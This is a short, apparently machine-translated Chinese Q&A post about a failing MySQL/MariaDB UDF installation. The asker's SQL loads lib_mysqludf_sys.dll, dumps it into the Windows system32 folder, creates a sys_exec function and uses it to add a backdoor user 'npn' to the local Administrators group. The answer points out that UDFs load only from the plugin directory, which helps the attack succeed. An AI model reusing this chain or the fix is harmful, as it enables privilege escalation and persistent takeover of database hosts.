我试图在mysql中安装udf插件，但收到错误

Question

我正在尝试在mysql中安装udf插件，但在此查询中收到错误

MariaDB [mysql]> CREATE FUNCTION sys_exec
   RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0, )

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USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_‌​sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Answer 1

UDF不是从C：\ windows \ system32加载的，只能从插件目录加载。使用＆＃34; SELECT @@ plugin_dir＆＃34;检查安装位置。